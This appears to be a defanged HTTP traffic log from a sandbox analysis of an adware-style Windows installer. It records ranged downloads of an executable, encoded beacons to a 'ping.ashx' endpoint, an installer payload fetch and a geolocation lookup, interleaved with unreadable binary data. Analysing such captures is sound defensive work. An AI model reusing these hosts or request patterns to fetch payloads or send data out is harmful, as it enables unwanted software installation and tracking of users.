Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8dceNy1qV-GVWYS7W4qQ36lk5jeJi1cd0p-tXe-gEKGLmRGGk31yCg==
...?.)..=.0...q|. ...N....hi.k..HfI.8E...`.....Qqm..7.g..O...C.g......
.k5..".h7....`M&0?*.'X..D.KSPO5hY..h......<....>...O...<..7..
............}..p ....8(.5..$..|....1...Fny=.....9W.9..{A....y.: .. ..^
v.^Wsl!".R..'.r.@.<...ioM.............wDlk .3..L^\.z\7@.;x..6.]j...
[....-...O.J..q.kt..Af....ed...[F.vT.v|<.&...*].(D.R..n....Fe..M...
.(.X.{$.4..h..%.."Z..C..%.....R.b{.|.[......V..!W.x...~Nj$.U(.5.)....A
84B.5..qr=....3.......'.D.....;...T/...........[Fx.....:..-y{......94.
IH..M......).P...v... .....#yj.`...-....`..h...=.Y...v..V..;......i...
&>...V...'c2.7...4....t..../.f..l.%~G.a .x...(......T.........^A,.n
a...P>...?. .&..^..X.K5-.0<.J#.........w....An.j...m..../.>^k
..I...Y..?.'.k..>5......nG....D.l!..c&......._..Jb.C.h ..m.O....W^.
.@,..?..o.}..P.K@T....)&.G....a.n.8d../[email protected]
.vetE....L$Y...H.....t.....[..}.`..m..L....`.........\v.^\..... ..2.U.
....Qu].vJ.....Pb..ZP.du.>.k.....!.S....7..:..&V.Ya....~..^.W......
..n.n.S.-JeQ..r.F)/..W.O|...'b8.|.l.....Fw.f..y......jB../.iVg........
#... ..D.....[.....x..,.:).]b...K.h%.\.}....| ..P......1: K..?..ux...P
...7w.5-..w.U.I.e{.fh]...........M....<..&...3..........].F..aY.Rj.
......D.3.Q..Y..../?.5......j..........L.P,...7.....]........UUP8X..V7
...=....-.......`;^.,P...b.U.....K.l....yV..0..z.....[Q..!..I......w.B
.nNB0...>.._Q...]V...sm........8.9..3.Kw.B Gl&.....g...0Au...P!...t
..... a.X..v....R...;..W.......6..e..Cu.,%...u....[..<i:....#..{[..
8...q..&._...\.r.4.Uwg5.K|..jaf1P..21.8..R.:[..]...p.bs.8..J6..LJ.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1000000-1249999/7592848

Age: 43710

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WtCta6z7ljHsOlOQNg9FScKblVV2rlAZrsSLbn3JH1c3EZw6c7Zuig==
..Hi2J...28.;..9.`...........r|H.g...c.)...7\o.5....y.K......V..A.?.g.
.k:.3u.#A.>.W.....(..-.ap....Y[ ..k[..e4.]s..=..)X1.'._b.....[..b.g
F...=W-H..h.z.=.:...Mn.............-F..>...X.cI.....o....8f...9..ql
.V.pH.1...F.A......7...M.An........R.@]..4.!...1.d..b^m..\..}.p...H(..
...M....op...u.........httn.D4...9..>.anA..-..9..x.!.0.`.....3..\b.
;[email protected]._..}..........l....d (...FK...TQ#`-.m....
.y.8..H...H...8.L...k~Ry@e 7..fn..S$8.Q;.................b..o....|..:.
t..!2(../............4.....C.<j.*...E6Z...:W'.....8.x.._ah=x).Sz.N.
;....,./...F&..u.>.O..*r.........O.-..zsD.LAr...#.jr......w(..Q=.?P
`.'.I.z\...0..h...<#E....Q/...gY....k.z.=..C.....].....9..4O....5).
D_...MI..!...m..#.......]...I...d\5.<.0..9.F...0.j..C..)......D.=*!
....'jw.....R..m..%........Ppf.ti.Lbh.w<..........U ...@...|..W{...
...g.>-$i..:....$.....H.....5y~`[email protected]!p..HA....A..1
h..V...V=e..g..@.....%../.N>...sD.\P.....@. .....J..,.3......4..'[R
.....3....)B........E.d3..K..Gp.f.H..W!.....O..dF...`.X.KQ....KC....5.
...Pj....G........;a;..N..O.#~5Z.'........O?.x.x$.......W..0.(...o(lQ.
.n.(.......(.=.n.Y........Q.4z>m...J-\. ...D6)......N&8.;......oU..
..Pnl./,>2....(f..B.....8....h...cTv......8....( a....z...=.H...<
;._.0-8...='....Yr!.).].#.P..wL'.......4..Q-..M..C<..'.. ........^.
.4m...].D3..PV........U.A7.uT.t...W..:...eZ#Yn;w#DH..{.A'={..........m
.M8N.<.".%s.w .....8(=.*m..=..U.x!q.".6.0 .z_.../..6.j..V.f.....,..
A...V..U...8.qw.L..r..?...!y... ..t..5. 3>. ....V.....U.*)..1.g<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3000000-3249999/7592848

Age: 43710

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pu_yPygbFZZsqV3XONh2vnJIkq2yRgpVkQgCOfuH1LPAmFXbcVAxAg==
"..k...L.,..n........mza...G.v~.(.M..C....Z..hi....N*......d.....3.C..
...Y\y'3...k].....o3.....,;...g....\......M..}...~x.....gT.5c.G....c.j
.x...2.....ug.......kF...3.M.v....s...q....50.._.M.F..R.n...../...\d~.
....V0..l]}.[P...v)F....I...... l...."....m..G...X`o.......K....@T}w..
...4-....../.|..7.....4m.....B...V..A.Q..........q.2YW.5.....^k..Pt...
YZ'..0r4i.m.J,.9.<<.i.....l.N;.]m...cX....Z...].97 ..X>.<.
......D.#>............_...,....f.....u.......!k....T...v..G..2...j.
x.. .c........?3..0~...(........W...}?....2....gL[..>ti0f.u.......D
..[.X4.<8.O....0.$}..S.i..........qI.~...a.T7\A.b%.tc..7.sk..K[g...
A.-w......ae..W.u..V...44J.Z....7}o..9.....{.u;:....4c...t.X..z.../..$
y.89@Ss ...iQ.C.>L...q..hV.....M{...o...>...t..o.iLtL.LiY..:6I.a
. {.^[email protected]....<O.........l....&..........f= A....".. 3w....emM
....PZ.S~E.....(.*..."...B...y... . [email protected]?.gA...) }..547...s.$.
..z...].....@"|2...7..U.....t..N.*.c...C..J....)G3..l....{@.6s......D3
[.jC.w.W.o...q_..a..#......?..M./.6....)GW....F......}...y..4.T.?q!..6
.Ay....?.........j\..|.:']5:5.A.'A&..OA..A..*...8..b......w...A2..7.13
9/v=x .yc<..y.y.L."P.,D..._..n...........#;A.>MJ.U]Y.T.. ......;
x.}......r........T.....j.f...X(u........EO..H5.....n=X.$w....f.T..T'.
*3.J1.e>.w<~M..}..x..<....n./.T....."..3...9.....t...<-m..
|D.f....a. .g..a.'P.....;..........8...}...#..>[email protected].&
lt;../h....h}.(.r..gE%6...G..6..H......u.Y>.8g...g..@L....".-^.v...
.;.0~.........Vu...........3..y{.>..CQB;.....y.-.`....z..wd..4Y<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



.8....6TX...u.w".Y]...9y.8..Pu.....\.>.... ....z...^0H...;...$U[l.c
.[.OP.......,.c]..........R....GUS.8.....h........JC......~*CC./.Hom."
..r.%..IS[6.e.6..r.6I....s<\k.(.F[7T.=n9/W.k.Z.[.......{_@s|.Sk....
.8>...6.\..2...A.....CY.....5Rg..#..]...C>.V5.m..XA.d.B.g..R...k
.{..2l) ...;t r.Nc.F...}tH........1.....X..2..H.w...G..T...N.W.(.m....
Q.&.C1.O.)k.*.?. ......=..N.x.....6p.7A.i.n.0}...h.tR..g....J.L.).<
&.i.;YY6 ..>.3t.@....> 'F.vQ%..C(W.jJ........:..G.5!</....[}.
..[.......L........Y.....:..-...T..\..4.............V....s9.>s.S<
;..3R.]......^.... .S...XtLd..v...$?....I#..S."..K....).......;..w...)
*F....<*p...V......?.. ..P.dAb..)q....<...J.K..)..)A..*(g.......
f...... .W;.J... 4.8...!.3r....-...G[..p.0.|.i.YU..-.;/..JZ..|..:.(R..
...X..8i%x$..e...]....A"..40l\5......[...5G{.(.!]^..E...u4.... ......B
S&.........y .OI..|.........\?l..@.<....A%...U.c..%A......D....z<
;..e.%.z......7.2.......tb'3?.._..)6[-k.U.P`....M..q.36...:.\`...?.6..
..C......x.Q.a........:.Gg...=kw..../T....o.`......Cu.H...q..].5..^.&l
t;.)..%......7.?....3...Z..][email protected][)...v...........#.
)O...m..>;..H.c.w.(N..yD'...To....m....0d.E.E..[...gu.g2..9..p.v|o.
..8.|......(.*..#.j^|.."..S.....J.....'.Vy...i........c..\=...h}.c6..&
lt;V..A.\.Zf...D~./...K.... [_">_p.....8../&...0.2.W.....@.=f.b.h}X
.H..p#..C..._..&...d:7"....;&T......&.[.H... c....v.z.......m...y...Q~
.d....U.^a.....YJR..!...C..........._...y...........Y5.0..Bd.......`..
...O..hK....^..lz..*_.X..........R.0E.F..12>..[........|....%~.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5000000-5249999/7592848

Age: 43711

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: d3Se-jtjbFUR00XoaC_snhUOGWawz--qsT2he7NKANGHVG7gRyB-Mg==
..e.../.....:.....Y.,1....hY ...WQD..|.\.Av.Y#........_...LG..\&...4P.
..bo..e.qT..s.?...xO.....ML..?.`.V8.......k.............[.l[...V.WU~.U
.L....7i.[U.....}..;xE....9_U..N.}......<O... .!..-..;6...v.R-..8.f
w\ ..OZ'.J>.....:<.w.i\...e$..Z:.......mQV....jBo...`.c..c......
....I_..F.......%V...I....v9...=.M.........E. F.^j..5o.2a...RM.....g..
.....(...3.Q6p.n.w..2..].......}.Z.x....E..,.#..L9..{32w.R...a].......
.j3....Z.`[z.............ly...l....).7.i..7.r.&.<.._.../G..m...:e..
F.Vei.. .'..E............i.......mA.mi..p{.jr....`.......... .J.......
..<|........[.Lk........#[email protected].[!$.6._
.. .Z.]X..OA...6_....48E..~..n....:.L9.5.R].......7G...v.W. ..z.m.....
?S.....z.'..7TLX....p.^..S......Y{.....W............ZOv.....9.e_.7.O:.
..l./.}n.Q...f...:o.....r...{..H.7.oWK;..Kti....g.~.k..1.N..e..qm.^2..
.C.Q..m......_._..'o.r......n....t;......,H.5.... c............X../..7
.?.m.g...yC..|...2....q..u...mo...2...z..........U)[email protected]*-C..vd.Q(...
...._...M.T.~.z....U.h..p..._..-..a4......&3e00b......uC..=.._.6...5..
.yK..G.A..`........<....bHu.#I._.Z..mL...x7 ......3...o0...s...vjm.
.B^*...Lk....../.....p.....6|S.Y...)d.r~..y...b.12.........o...$.0D...
.O`..].........|....x, \. ....Q.^\..*.....R.2~..Zp/-.......wK(...G..o.
....;YS......!.i.}.T]|.S8.B...$7S?..'i.o...?...5.R8....]..u)......8...
Jw.v.(...0.3viY yB...f.r..}.......RA.`./.f.z.b....X..`..W?oX.n.....v.g
.Ij.1/!?.....{.....~../..qP...>..N...P.:....x..e.k.c.m..4.......^..
o.....uJ...x...]..hy...9........(>.gX......-..j...D.9vA...... h<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6500000-6749999/7592848

Age: 43711

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _buLym93egegqlZnsFX_r8_9wyOoRxAxCxZfY4RnE3aZHi2LESxn9A==
mg..u.E(.`r....w...u!d?...y...ps..PP.-H.e7?i.p..QB@F"..A...9B...(....3
m.O....^tW.....7W(...8>|..nG...0..=3........K...`............5.....
.{U....y...AE..f.&..a..N~i.3.. ....$.2...[...ZC....X...s?.0>..xV.. 
.h.pKz..)....'......,..)..4...R.......N0#.o.....Oeu....#B....&;g.....I
...d..`$)..-.\W#..Vh.M....1...D....O.<...K....> .............)/.
.q.B...s..)..<.E.f%.i..OcO.~.m.....E{......0,k-Q._./.=0...z./d.`.=.
.j...Q......[.yK(.q.._y;.d.R.....,. .^w7..X....*0}f.[.......Z.N.9...w@
.f........A.....D.(..7...x...O.....m....Tn.8.8(.m7.:4,.i..7'..g...}"..
W&............ z:A..<.C..O?.....\V...."O\.p.F..l..g@..]..?......3.;
....)........zHc....w..nu.s...Q<Y)......x8....w;.Q.%A......../...h.
....fT....1..2...=./.$M.....!......o....=;$2Ik...f.t...`.......N-Z\.L.
7.'F..mQn....&3.C..,.wU.-.....msfo.L$.. `....t9....DE......6$.pc.`{...
Z.l`'L....68.S...v..a..[j..].....8c.K.fY..i../&...Wm.wz^..l>..Ra.@.
..g...<.F./.t`.J.j1.>R_"|..KR..aU]C1...j.......-.lxT.......)...E
r......._%......!c.Ur $=.U.3...I.9..y.N....yf3..K>`.e.|@...V.QPW...
H.......m.A...=g..l~W.ef^.H.6.[.....-..1:e.f./../{$}.........^p.......
2..x....5....n&V.q=I.~..zr..A.........#;N..4`k.x.f...ueP......._..@l..
......}gg.`..6..Gf .w....x.l..OQ.e...*....R...].*{..&0....m3.u41.a].7q
..u....9.~.o..h3Cr......7e.......E..w..K.\.n..c6.......$.ZT'.e..._..Y.
?`....t..c.hq.....A.u)~.Iuil.#...C....?..T..TA..}mn&......\...44.t..t.
.R( ...re...G.....60..E[....S...v`...#>[email protected].
.b.%r....I..P/.....35U..GA.. ...=!....-o..p..ca.UW..aL.....!H.....<<< skipped >>>

GET /app/ping.ashx?e=XJYuqQQo69eJxiP7f9a/G/SDTbAQE8QivRI3A5nbHDjdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jd8cMSGOxTWOZuS0/O3oV2rxodeePw 5cUdUabHcsOaSX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDqXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev59KkXGMmB33va5YssnN0Iq5rjUSno28rdQmnv N4UgHzaTF1Kz92D3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agirWDyGWfVAQ/TynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc1AiPRrwSalm HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:28 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 10 Feb 2015 03:59:28 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/cR/19ZKgNBaI/T7vGnIrRllP XtorcoTKgxB9pWV4xt1MyRsTHPDdAhxgnfs KRSGXtmD8Dkx2dt2o5ApaNqnksNP54lXZxmkqCYJrC2d5/WmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolB7VfxlfOj3AprKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJKsZRioLt78DHwtQGc0oJaxlp5CEEgFYW3dKsOukXQQd9FdfhVHQzGAE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7SrH0X1 ausfR5TX6K4Kv027USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 050YsHrGqFtmnzicG6yEv4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:29 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 10 Feb 2015 03:59:29 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=eFCD8T/coifCDzC3dWmgsjg2g5AFJwuPhmsPSIwNtx5dOfUh X e3KWVb3f653Ub2yLvqUuoT2b669uXeODcaUuDZbxKNz6N3xwxIY7FNY5m5LT87ehXavGh154/D7lxR1Rpsdyw5pJf2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOpfGsaHjTJJ OkhFwjO/Ynn73orNtwzTOp2kELh2lx9D 3u2eZStggbd Wx/3k3O9M9xHVjdaZ6/n0qRcYyYHfe9rliyyc3QirmuNRKejbyt1Cae/43hSAfNpMXUrP3YPcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXtLdVKK0d9mo0berm3dqCKtYPIZZ9UBD9PKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNzUMs7J9kDMQQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:33 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 10 Feb 2015 03:59:33 GMT..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

Range: bytes=72905-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache



....I...W........q.;.*...Z........Re..|.K..K.K......7..T..b.Y....(...!
.NB.....!....R .G>......!.........!....G.9bW...;...}<......3....
..*....s.)...u\n.ctV....Hd@(...J..p......n......,..&z.......$........1
.o{&\..%O...my......gU.G5.../yj.....U}......5..D?..P.5.....l|.q.wt.r.R
..vj..\yq).D.'.>..AMB......Z?rn.8....P...K.G....Fw...^.Km]...G.G'(.
.DpGu..QK.A..V.Ws......$..y..|I.^9.....k$Q7H.H.l. }...X.)...&^.... -..
.........m....V...........A...WQ....*U..7;.../.u........u....%....L...
[."u.1...h.....?e.G~.......(f.'........[.v"........*].*..[_..1.Z%.AAs.
W.#.yP.pV. ^..D...E{.}.93?...?...{..O..z.:z1.).;SY..E....i..7...^.....
 ^.mY.....Z.p...}......<.l1.\,....h.ys..^.j.d .....}[email protected]#x*.]
r,J..E.]N.?.D)U.......!.].P_.t.......[G.."!.?...[Y.W.W.,..3M..8.....5.
.......<.....[..CH...9....A>B...'..K..W.F........... ......;..4.
..r.l.j(..(O.[[email protected]$.#..W.Lw.N.. .k..@
..a0...e.Gle..IN.-.B..D.H9.;....#....!)..`.'...*..).D.g.`..92.6S....HE
<...P...=..|..l...k..z...-.uW... !on..{..I..& ....%.t........c.u.E|
vq....)w]3....GWc{X.H.W.......a...b.f....U......B".A.................C
.,.......j.&........ X.7q.b..g.?..IEXQV.c!..a.5..8.F...?.....L.*C....4
B..........C.z.R_.....h.....N.._.!dv...;.....^..>[email protected]..~.....
 .J.t.....ZQ..F.R..O..:.. Va.R".c...V.....k..R.....>.....bX........
......<s. .H.....B..9 .$..A...V...k...s...lw.."...Y....).. .?..Y..Q
.f .(\..Q...o..Y.v..\dT...B..x..pT.?.}U[ c.....j7.Ne.#/......].u...T{x
.h.q........eN%.%,.%z.v...?.|..n..P.Au.a......st... .L..pM.._.h...<<< skipped >>>

GET /?gfe_rd=cr&ei=J4LZVKenBIeu8wePyICgAw HTTP/1.1

Host: VVV.google.com.ua

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIeu8wePyICgAw&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=7e2a2cfa637e5952:FF=0:TM=1423540775:LM=1423540775:S=ROXxvyFR0TEyrYDC; expires=Thu, 09-Feb-2017 03:59:35 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=bsNUnsoo9S10B83_EodAoeyVqgv42eqCcxEWCLjd4Lzdo231ywWXqjKPbb_nCRaZYlZ710uDRNbTGoz5876dMAy6ABEraUkBUY8Q1AHsFSeoRqSt7VR-OdFmC4BE724M; expires=Wed, 12-Aug-2015 03:59:35 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Tue, 10 Feb 2015 03:59:35 GMT

Server: gws

Content-Length: 278

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIe
u8wePyICgAw&gws_rd=ssl">here</A>...</BODY></HTML
>..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=
cr&ei=J4LZVKenBIeu8wePyICgAw&gws_rd=ssl..Cache-Control: private..Conte
nt-Type: text/html; charset=UTF-8..Set-Cookie: PREF=ID=7e2a2cfa637e595
2:FF=0:TM=1423540775:LM=1423540775:S=ROXxvyFR0TEyrYDC; expires=Thu, 09
-Feb-2017 03:59:35 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID
=67=bsNUnsoo9S10B83_EodAoeyVqgv42eqCcxEWCLjd4Lzdo231ywWXqjKPbb_nCRaZYl
Z710uDRNbTGoz5876dMAy6ABEraUkBUY8Q1AHsFSeoRqSt7VR-OdFmC4BE724M; expire
s=Wed, 12-Aug-2015 03:59:35 GMT; path=/; domain=.google.com.ua; HttpOn
ly..P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/suppo
rt/accounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: T
ue, 10 Feb 2015 03:59:35 GMT..Server: gws..Content-Length: 278..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=0.02..<HTML><HEAD><meta http-equiv="con
tent-type" content="text/html;charset=utf-8">.<TITLE>302 Move
d</TITLE></HEAD><BODY>.<H1>302 Moved</H1>
;.The document has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd
=cr&ei=J4LZVKenBIeu8wePyICgAw&gws_rd=ssl">here</A><<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:00 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Tue, 10
 Feb 2015 04:00:00 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /webplayer/flvplayer/html/images/flv_02.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:46 GMT

Content-Type: image/jpeg

Content-Length: 72186

Last-Modified: Wed, 17 Oct 2012 08:06:00 GMT

Connection: close

ETag: "507e66e8-119fa"

Accept-Ranges: bytes
......Exif..II*.................Ducky.......Z.....ohXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2053E25CDC16E211A
29BDCE70ECF2F2C" xmpMM:DocumentID="xmp.did:7C83C598183111E286A0CF11B1D
8F0CC" xmpMM:InstanceID="xmp.iid:7C83C597183111E286A0CF11B1D8F0CC" xmp
:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:90CE50643118E211ADFCA20374C2B75C" stRef:doc
umentID="xmp.did:2053E25CDC16E211A29BDCE70ECF2F2C"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
....................V.................................................
..........................................!..1AQa..q."........2B....R.
...b.#..r.s&3Sc..4..6FV..C$T.v'W.Dt.%...8H...d..7wX...................
...!...1..AQ..a"RS..q.......2Br.b..#.t.....C..4T..3$&6s.D5.%..........
..?.......S......../..........k.>.~.o....................u...}.....
..;..{2I..I?.F.C.}.-....s?.a......^O..'..^..>...3..s?........fO<<< skipped >>>

GET /webplayer/flvplayer/html/flvplayer.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:45 GMT

Content-Type: text/html

Last-Modified: Tue, 20 Aug 2013 14:01:34 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

